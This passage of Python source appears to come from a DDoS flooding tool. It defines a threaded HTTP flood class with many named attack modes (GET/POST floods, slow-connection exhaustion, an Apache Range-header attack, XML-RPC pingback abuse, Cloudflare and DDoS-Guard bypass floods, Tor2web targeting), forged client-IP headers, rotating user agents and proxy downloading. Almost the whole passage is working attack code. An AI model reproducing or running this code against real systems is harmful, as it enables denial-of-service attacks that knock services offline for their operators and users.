None,\n                 referers: Set[str] = None,\n                 proxies: Set[Proxy] = None) -> None:\n        Thread.__init__(self, daemon=True)\n        self.SENT_FLOOD = None\n        self._thread_id = thread_id\n        self._synevent = synevent\n        self._rpc = rpc\n        self._method = method\n        self._target = target\n        self._host = host\n        self._raw_target = (self._host, (self._target.port or 80))\n\n        if not self._target.host[len(self._target.host) - 1].isdigit():\n            self._raw_target = (self._host, (self._target.port or 80))\n\n        self.methods = {\n            \"POST\": self.POST,\n            \"CFB\": self.CFB,\n            \"CFBUAM\": self.CFBUAM,\n            \"XMLRPC\": self.XMLRPC,\n            \"BOT\": self.BOT,\n            \"APACHE\": self.APACHE,\n            \"BYPASS\": self.BYPASS,\n            \"DGB\": self.DGB,\n            \"OVH\": self.OVH,\n            \"AVB\": self.AVB,\n            \"STRESS\": self.STRESS,\n            \"DYN\": self.DYN,\n            \"SLOW\": self.SLOW,\n            \"GSB\": self.GSB,\n            \"RHEX\": self.RHEX,\n            \"STOMP\": self.STOMP,\n            \"NULL\": self.NULL,\n            \"COOKIE\": self.COOKIES,\n            \"TOR\": self.TOR,\n            \"EVEN\": self.EVEN,\n            \"DOWNLOADER\": self.DOWNLOADER,\n            \"BOMB\": self.BOMB,\n            \"PPS\": self.PPS,\n            \"KILLER\": self.KILLER,\n        }\n\n        if not referers:\n            referers: List[str] = [\n                \"https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=\",\n                \",https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer\"\n                \"/sharer.php?u=\",\n                \",https://drive.google.com/viewerng/viewer?url=\",\n                \",https://www.google.com/translate?u=\"\n            ]\n        self._referers = list(referers)\n        if proxies:\n            self._proxies = list(proxies)\n\n        if not useragents:\n            useragents: List[str] = [\n                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 ',\n                'Safari/537.36',\n                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 ',\n                'Safari/537.36',\n                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 ',\n                'Safari/537.36',\n                'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0',\n                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',\n                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19577',\n                'Mozilla/5.0 (X11) AppleWebKit/62.41 (KHTML, like Gecko) Edge/17.10859 Safari/452.6',\n                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931',\n                'Chrome (AppleWebKit/537.1; Chrome50.0; Windows NT 6.3) AppleWebKit/537.36 (KHTML like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393',\n                'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.9200',\n                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586',\n                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246',\n                'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',\n                'Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30',\n                'Mozilla/5.0 (Linux; U; Android 2.3; en-us) AppleWebKit/999+ (KHTML, like Gecko) Safari/999.9',\n                'Mozilla/5.0 (Linux; U; Android 2.3.5; zh-cn; HTC_IncredibleS_S710e Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; HTC Desire Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC_Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari',\n                'Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.3.3; ko-kr; LG-LU3000 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; HTC_DesireS_S510e Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile',\n                'Mozilla/5.0 (Linux; U; Android 2.3.3; de-de; HTC Desire Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.3.3; de-ch; HTC Desire Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.2; fr-lu; HTC Legend Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.2; en-sa; HTC_DesireHD_A9191 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.2.1; fr-fr; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.2.1; en-gb; HTC_DesireZ_A7272 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',\n                'Mozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'\n            ]\n        self._useragents = list(useragents)\n        self._req_type = self.getMethodType(method)\n        self._defaultpayload = \"%s %s HTTP/%s\\r\\n\" % (self._req_type,\n                                                      target.raw_path_qs, randchoice(['1.0', '1.1', '1.2']))\n        self._payload = (self._defaultpayload +\n                         'Accept-Encoding: gzip, deflate, br\\r\\n'\n                         'Accept-Language: en-US,en;q=0.9\\r\\n'\n                         'Cache-Control: max-age=0\\r\\n'\n                         'Connection: keep-alive\\r\\n'\n                         'Sec-Fetch-Dest: document\\r\\n'\n                         'Sec-Fetch-Mode: navigate\\r\\n'\n                         'Sec-Fetch-Site: none\\r\\n'\n                         'Sec-Fetch-User: ?1\\r\\n'\n                         'Sec-Gpc: 1\\r\\n'\n                         'Pragma: no-cache\\r\\n'\n                         'Upgrade-Insecure-Requests: 1\\r\\n')\n\n    def select(self, name: str) -> None:\n        self.SENT_FLOOD = self.GET\n        for key, value in self.methods.items():\n            if name == key:\n                self.SENT_FLOOD = value\n                \n    def run(self) -> None:\n        if self._synevent: self._synevent.wait()\n        self.select(self._method)\n        while self._synevent.is_set():\n            self.SENT_FLOOD()\n\n    @property\n    def SpoofIP(self) -> str:\n        spoof: str = ProxyTools.Random.rand_ipv4()\n        return (\"X-Forwarded-Proto: Http\\r\\n\"\n                f\"X-Forwarded-Host: {self._target.raw_host}, 1.1.1.1\\r\\n\"\n                f\"Via: {spoof}\\r\\n\"\n                f\"Client-IP: {spoof}\\r\\n\"\n                f'X-Forwarded-For: {spoof}\\r\\n'\n                f'Real-IP: {spoof}\\r\\n')\n\n    def generate_payload(self, other: str = None) -> bytes:\n        return str.encode((self._payload +\n                           f\"Host: {self._target.authority}\\r\\n\" +\n                           self.randHeadercontent +\n                           (other if other else \"\") +\n                           \"\\r\\n\"))\n\n    def open_connection(self, host=None) -> socket:\n        if self._proxies:\n            sock = randchoice(self._proxies).open_socket(AF_INET, SOCK_STREAM)\n        else:\n            sock = socket(AF_INET, SOCK_STREAM)\n\n        sock.setsockopt(IPPROTO_TCP, TCP_NODELAY, 1)\n        sock.settimeout(.9)\n        sock.connect(host or self._raw_target)\n\n        if self._target.scheme.lower() == \"https\":\n            sock = ctx.wrap_socket(sock,\n                                   server_hostname=host[0] if host else self._target.host,\n                                   server_side=False,\n                                   do_handshake_on_connect=True,\n                                   suppress_ragged_eofs=True)\n        return sock\n\n    @property\n    def randHeadercontent(self) -> str:\n        return (f\"User-Agent: {randchoice(self._useragents)}\\r\\n\"\n                f\"Referrer: {randchoice(self._referers)}{parse.quote(self._target.human_repr())}\\r\\n\" +\n                self.SpoofIP)\n\n    @staticmethod\n    def getMethodType(method: str) -> str:\n        return \"GET\" if {method.upper()} & {\"CFB\", \"CFBUAM\", \"GET\", \"TOR\", \"COOKIE\", \"OVH\", \"EVEN\",\n                                            \"DYN\", \"SLOW\", \"PPS\", \"APACHE\",\n                                            \"BOT\", \"RHEX\", \"STOMP\"} \\\n            else \"POST\" if {method.upper()} & {\"POST\", \"XMLRPC\", \"STRESS\"} \\\n            else \"HEAD\" if {method.upper()} & {\"GSB\", \"HEAD\"} \\\n            else \"REQUESTS\"\n\n    def POST(self) -> None:\n        payload: bytes = self.generate_payload(\n            (\"Content-Length: 44\\r\\n\"\n             \"X-Requested-With: XMLHttpRequest\\r\\n\"\n             \"Content-Type: application/json\\r\\n\\r\\n\"\n             '{\"data\": %s}') % ProxyTools.Random.rand_str(32))[:-2]\n        s = None\n        with  suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def TOR(self) -> None:\n        provider = \".\" + randchoice(tor2webs)\n        target = self._target.authority.replace(\".onion\", provider)\n        payload: Any = str.encode(self._payload +\n                                  f\"Host: {target}\\r\\n\" +\n                                  self.randHeadercontent +\n                                  \"\\r\\n\")\n        s = None\n        target = self._target.host.replace(\".onion\", provider), self._raw_target[1]\n        with suppress(Exception), self.open_connection(target) as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def STRESS(self) -> None:\n        payload: bytes = self.generate_payload(\n            (\"Content-Length: 524\\r\\n\"\n             \"X-Requested-With: XMLHttpRequest\\r\\n\"\n             \"Content-Type: application/json\\r\\n\\r\\n\"\n             '{\"data\": %s}') % ProxyTools.Random.rand_str(512))[:-2]\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def COOKIES(self) -> None:\n        payload: bytes = self.generate_payload(\n            \"Cookie: _ga=GA%s;\"\n            \" _gat=1;\"\n            \" __cfduid=dc232334gwdsd23434542342342342475611928;\"\n            \" %s=%s\\r\\n\" %\n            (ProxyTools.Random.rand_int(1000, 99999), ProxyTools.Random.rand_str(6),\n             ProxyTools.Random.rand_str(32)))\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def APACHE(self) -> None:\n        payload: bytes = self.generate_payload(\n            \"Range: bytes=0-,%s\" % \",\".join(\"5-%d\" % i\n                                            for i in range(1, 1024)))\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def XMLRPC(self) -> None:\n        payload: bytes = self.generate_payload(\n            (\"Content-Length: 345\\r\\n\"\n             \"X-Requested-With: XMLHttpRequest\\r\\n\"\n             \"Content-Type: application/xml\\r\\n\\r\\n\"\n             \"<?xml version='1.0' encoding='iso-8859-1'?>\"\n             \"<methodCall><methodName>pingback.ping</methodName>\"\n             \"<params><param><value><string>%s</string></value>\"\n             \"</param><param><value><string>%s</string>\"\n             \"</value></param></params></methodCall>\") %\n            (ProxyTools.Random.rand_str(64),\n             ProxyTools.Random.rand_str(64)))[:-2]\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def PPS(self) -> None:\n        payload: Any = str.encode(self._defaultpayload +\n                                  f\"Host: {self._target.authority}\\r\\n\\r\\n\")\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def KILLER(self) -> None:\n        while True:\n            Thread(target=self.GET, daemon=True).start()\n\n    def GET(self) -> None:\n        payload: bytes = self.generate_payload()\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def BOT(self) -> None:\n        payload: bytes = self.generate_payload()\n        p1, p2 = str.encode(\n            \"GET /robots.txt HTTP/1.1\\r\\n\"\n            \"Host: %s\\r\\n\" % self._target.raw_authority +\n            \"Connection: Keep-Alive\\r\\n\"\n            \"Accept: text/plain,text/html,*/*\\r\\n\"\n            \"User-Agent: %s\\r\\n\" % randchoice(search_engine_agents) +\n            \"Accept-Encoding: gzip,deflate,br\\r\\n\\r\\n\"), str.encode(\n            \"GET /sitemap.xml HTTP/1.1\\r\\n\"\n            \"Host: %s\\r\\n\" % self._target.raw_authority +\n            \"Connection: Keep-Alive\\r\\n\"\n            \"Accept: */*\\r\\n\"\n            \"From: googlebot(at)googlebot.com\\r\\n\"\n            \"User-Agent: %s\\r\\n\" % randchoice(search_engine_agents) +\n            \"Accept-Encoding: gzip,deflate,br\\r\\n\"\n            \"If-None-Match: %s-%s\\r\\n\" % (ProxyTools.Random.rand_str(9),\n                                          ProxyTools.Random.rand_str(4)) +\n            \"If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\\r\\n\\r\\n\")\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            Tools.send(s, p1)\n            Tools.send(s, p2)\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def EVEN(self) -> None:\n        payload: bytes = self.generate_payload()\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            while Tools.send(s, payload) and s.recv(1):\n                continue\n        Tools.safe_close(s)\n\n    def OVH(self) -> None:\n        payload: bytes = self.generate_payload()\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(min(self._rpc, 5)):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def CFB(self):\n        global REQUESTS_SENT, BYTES_SEND\n        pro = None\n        if self._proxies:\n            pro = randchoice(self._proxies)\n        s = None\n        with suppress(Exception), create_scraper() as s:\n            for _ in range(self._rpc):\n                if pro:\n                    with s.get(self._target.human_repr(),\n                               proxies=pro.asRequest()) as res:\n                        REQUESTS_SENT += 1\n                        BYTES_SEND += Tools.sizeOfRequest(res)\n                        continue\n\n                with s.get(self._target.human_repr()) as res:\n                    REQUESTS_SENT += 1\n                    BYTES_SEND += Tools.sizeOfRequest(res)\n        Tools.safe_close(s)\n\n    def CFBUAM(self):\n        payload: bytes = self.generate_payload()\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            Tools.send(s, payload)\n            sleep(5.01)\n            ts = time()\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n                if time() > ts + 120: break\n        Tools.safe_close(s)\n\n    def AVB(self):\n        payload: bytes = self.generate_payload()\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                sleep(max(self._rpc / 1000, 1))\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def DGB(self):\n        global REQUESTS_SENT, BYTES_SEND\n        with suppress(Exception):\n            if self._proxies:\n                pro = randchoice(self._proxies)\n                with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents), pro.asRequest()) as ss:\n                    for _ in range(min(self._rpc, 5)):\n                        sleep(min(self._rpc, 5) / 100)\n                        with ss.get(self._target.human_repr(),\n                                    proxies=pro.asRequest()) as res:\n                            REQUESTS_SENT += 1\n                            BYTES_SEND += Tools.sizeOfRequest(res)\n                            continue\n\n                Tools.safe_close(ss)\n\n            with Tools.dgb_solver(self._target.human_repr(), randchoice(self._useragents)) as ss:\n                for _ in range(min(self._rpc, 5)):\n                    sleep(min(self._rpc, 5) / 100)\n                    with ss.get(self._target.human_repr()) as res:\n                        REQUESTS_SENT += 1\n                        BYTES_SEND += Tools.sizeOfRequest(res)\n\n            Tools.safe_close(ss)\n\n    def DYN(self):\n        payload: Any = str.encode(self._payload +\n                                  f\"Host: {ProxyTools.Random.rand_str(6)}.{self._target.authority}\\r\\n\" +\n                                  self.randHeadercontent +\n                                  \"\\r\\n\")\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def DOWNLOADER(self):\n        payload: Any = self.generate_payload()\n\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n                while 1:\n                    sleep(.01)\n                    data = s.recv(1)\n                    if not data:\n                        break\n            Tools.send(s, b'0')\n        Tools.safe_close(s)\n\n    def BYPASS(self):\n        global REQUESTS_SENT, BYTES_SEND\n        pro = None\n        if self._proxies:\n            pro = randchoice(self._proxies)\n        s = None\n        with suppress(Exception), Session() as s:\n            for _ in range(self._rpc):\n                if pro:\n                    with s.get(self._target.human_repr(),\n                               proxies=pro.asRequest()) as res:\n                        REQUESTS_SENT += 1\n                        BYTES_SEND += Tools.sizeOfRequest(res)\n                        continue\n\n                with s.get(self._target.human_repr()) as res:\n                    REQUESTS_SENT += 1\n                    BYTES_SEND += Tools.sizeOfRequest(res)\n        Tools.safe_close(s)\n\n    def GSB(self):\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                payload = str.encode(\"%s %s?qs=%s HTTP/1.1\\r\\n\" % (self._req_type,\n                                                           self._target.raw_path_qs,\n                                                           ProxyTools.Random.rand_str(6)) +\n                             \"Host: %s\\r\\n\" % self._target.authority +\n                             self.randHeadercontent +\n                             'Accept-Encoding: gzip, deflate, br\\r\\n'\n                             'Accept-Language: en-US,en;q=0.9\\r\\n'\n                             'Cache-Control: max-age=0\\r\\n'\n                             'Connection: Keep-Alive\\r\\n'\n                             'Sec-Fetch-Dest: document\\r\\n'\n                             'Sec-Fetch-Mode: navigate\\r\\n'\n                             'Sec-Fetch-Site: none\\r\\n'\n                             'Sec-Fetch-User: ?1\\r\\n'\n                             'Sec-Gpc: 1\\r\\n'\n                             'Pragma: no-cache\\r\\n'\n                             'Upgrade-Insecure-Requests: 1\\r\\n\\r\\n')\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def RHEX(self):\n        randhex = str(randbytes(randchoice([32, 64, 128])))\n        payload = str.encode(\"%s %s/%s HTTP/1.1\\r\\n\" % (self._req_type,\n                                                        self._target.authority,\n                                                        randhex) +\n                             \"Host: %s/%s\\r\\n\" % (self._target.authority, randhex) +\n                             self.randHeadercontent +\n                             'Accept-Encoding: gzip, deflate, br\\r\\n'\n                             'Accept-Language: en-US,en;q=0.9\\r\\n'\n                             'Cache-Control: max-age=0\\r\\n'\n                             'Connection: keep-alive\\r\\n'\n                             'Sec-Fetch-Dest: document\\r\\n'\n                             'Sec-Fetch-Mode: navigate\\r\\n'\n                             'Sec-Fetch-Site: none\\r\\n'\n                             'Sec-Fetch-User: ?1\\r\\n'\n                             'Sec-Gpc: 1\\r\\n'\n                             'Pragma: no-cache\\r\\n'\n                             'Upgrade-Insecure-Requests: 1\\r\\n\\r\\n')\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def STOMP(self):\n        dep = ('Accept-Encoding: gzip, deflate, br\\r\\n'\n               'Accept-Language: en-US,en;q=0.9\\r\\n'\n               'Cache-Control: max-age=0\\r\\n'\n               'Connection: keep-alive\\r\\n'\n               'Sec-Fetch-Dest: document\\r\\n'\n               'Sec-Fetch-Mode: navigate\\r\\n'\n               'Sec-Fetch-Site: none\\r\\n'\n               'Sec-Fetch-User: ?1\\r\\n'\n               'Sec-Gpc: 1\\r\\n'\n               'Pragma: no-cache\\r\\n'\n               'Upgrade-Insecure-Requests: 1\\r\\n\\r\\n')\n        hexh = r'\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87' \\\n               r'\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F' \\\n               r'\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F' \\\n               r'\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84' \\\n               r'\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F' \\\n               r'\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98' \\\n               r'\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98' \\\n               r'\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B' \\\n               r'\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99' \\\n               r'\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C' \\\n               r'\\x8F\\x98\\xEA\\x84\\x8B\\x87\\x8F\\x99\\x8F\\x98\\x9C\\x8F\\x98\\xEA '\n        p1, p2 = str.encode(\"%s %s/%s HTTP/1.1\\r\\n\" % (self._req_type,\n                                                       self._target.authority,\n                                                       hexh) +\n                            \"Host: %s/%s\\r\\n\" % (self._target.authority, hexh) +\n                            self.randHeadercontent + dep), str.encode(\n            \"%s %s/cdn-cgi/l/chk_captcha HTTP/1.1\\r\\n\" % (self._req_type,\n                                                          self._target.authority) +\n            \"Host: %s\\r\\n\" % hexh +\n            self.randHeadercontent + dep)\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            Tools.send(s, p1)\n            for _ in range(self._rpc):\n                Tools.send(s, p2)\n        Tools.safe_close(s)\n\n    def NULL(self) -> None:\n        payload: Any = str.encode(self._payload +\n                                  f\"Host: {self._target.authority}\\r\\n\" +\n                                  \"User-Agent: null\\r\\n\" +\n                                  \"Referrer: null\\r\\n\" +\n                                  self.SpoofIP + \"\\r\\n\")\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n        Tools.safe_close(s)\n\n    def BOMB(self):\n        assert self._proxies, \\\n            'This method requires proxies. ' \\\n            'Without proxies you can use github.com/codesenberg/bombardier'\n\n        while True:\n            proxy = randchoice(self._proxies)\n            if proxy.type != ProxyType.SOCKS4:\n                break\n\n        res = run(\n            [\n                f'{bombardier_path}',\n                f'--connections={self._rpc}',\n                '--http2',\n                '--method=GET',\n                '--latencies',\n                '--timeout=30s',\n                f'--requests={self._rpc}',\n                f'--proxy={proxy}',\n                f'{self._target.human_repr()}',\n            ],\n            stdout=PIPE,\n        )\n        if self._thread_id == 0:\n            print(proxy, res.stdout.decode(), sep='\\n')\n\n    def SLOW(self):\n        payload: bytes = self.generate_payload()\n        s = None\n        with suppress(Exception), self.open_connection() as s:\n            for _ in range(self._rpc):\n                Tools.send(s, payload)\n            while Tools.send(s, payload) and s.recv(1):\n                for i in range(self._rpc):\n                    keep = str.encode(\"X-a: %d\\r\\n\" % ProxyTools.Random.rand_int(1, 5000))\n                    Tools.send(s, keep)\n                    sleep(self._rpc / 15)\n                    break\n        Tools.safe_close(s)\n\n\nclass ProxyManager:\n\n    @staticmethod\n    def DownloadFromConfig(cf, Proxy_type: int) -> Set[Proxy]:\n        providrs = [\n            provider for provider in cf[\"proxy-providers\"]\n            if provider[\"type\"] == Proxy_type or Proxy_type == 0\n        ]\n        logger.info(\n            f\"{bcolors.WARNING}Downloading Proxies from {bcolors.OKBLUE}%d{bcolors.WARNING} Providers{bcolors.RESET}\" % len(\n                providrs))\n        proxes: Set[Proxy] = set()\n\n        with ThreadPoolExecutor(len(providrs)) as executor:\n            future_to_download = {\n                executor.submit(\n                    ProxyManager.download, provider,\n                    ProxyType.stringToProxyType(str(provider[\"type\"])))\n                for provider in providrs\n            }\n            for future in as_completed(future_to_download):\n                for pro in future.result():\n                    proxes.add(pro)\n        return proxes\n\n    @staticmethod\n    def download(provider, proxy_type: ProxyType) -> Set[Proxy]:\n        logger.debug(\n            f\"{bcolors.WARNING}Proxies from (URL: {bcolors.OKBLUE}%s{bcolors.WARNING}, Type: {bcolors.OKBLUE}%s{bcolors.WARNING}, Timeout: {bcolors.OKBLUE}%d{bcolors.WARNING}){bcolors.RESET}\" %\n            (provider[\"url\"], proxy_type.name, provider[\"timeout\"]))\n        proxes: Set[Proxy] = set()\n        with suppress(TimeoutError, exceptions.ConnectionError,\n                      exceptions.ReadTimeout):\n            data = get(provider[\"url\"], timeout=provider[\"timeout\"]).text\n            try:\n                for proxy in ProxyUtiles.parseAllIPPort(\n                        data.splitlines(), proxy_type):\n                    proxes.add(proxy)\n            except Exception as e:\n                logger.error(f'Download Proxy Error: {(e.__str__() or e.__repr__())}')\n        return proxes\n\n\nclass ToolsConsole:\n    METHODS = {\"INFO\", \"TSSRV\", \"CFIP\", \"DNS\", \"PING\", \"CHECK\", \"DSTAT\"}\n\n    @staticmethod\n    def checkRawSocket():\n        with suppress(OSError):\n            with socket(AF_INET, SOCK_RAW, IPPROTO_TCP):\n                return True\n        return False\n\n    @staticmethod\n    def runConsole():\n        cons = f\"{gethostname()}@MHTools:~#\"\n\n        while 1:\n            cmd = input(cons + \" \").strip()\n            if not cmd: continue\n            if \" \" in cmd:\n                cmd, args = cmd.split(\" \", 1)\n\n            cmd = cmd.upper()\n            if cmd == \"HELP\":\n                print(\"Tools:\" + \", \".join(ToolsConsole.METHODS))\n                print(\"Commands: HELP, CLEAR, BACK, EXIT\")\n                continue\n\n            if {cmd} & {\"E\", \"EXIT\", \"Q\", \"QUIT\", \"LOGOUT\", \"CLOSE\"}:\n                exit(-1)\n\n            if cmd == \"CLEAR\":\n                print(\"\\033c\")\n                continue\n\n            if not {cmd} & ToolsConsole.METHODS:\n                print(f\"{cmd} command not found\")\n                continue\n\n            if cmd == \"DSTAT\":\n                with suppress(KeyboardInterrupt):\n                    ld = net_io_counters(pernic=False)\n\n                    while True:\n                        sleep(1)\n\n                        od = ld\n                        ld = net_io_counters(pernic=False)\n\n                        t = [(last - now) for now, last in zip(od, ld)]\n\n                        logger.info(\n                            (\"Bytes Sent %s\\n\"\n                             \"Bytes Received %s\\n\"\n                             \"Packets Sent %s\\n\"\n                             \"Packets Received %s\\n\"\n                             \"ErrIn %s\\n\"\n                             \"ErrOut %s\\n\"\n                             \"DropIn %s\\n\"\n                             \"DropOut %s\\n\"\n                             \"Cpu Usage %s\\n\"\n                             \"Memory %s\\n\") %\n                            (Tools.humanbytes(t[0]), Tools.humanbytes(t[1]),\n                             Tools.humanformat(t[2]), 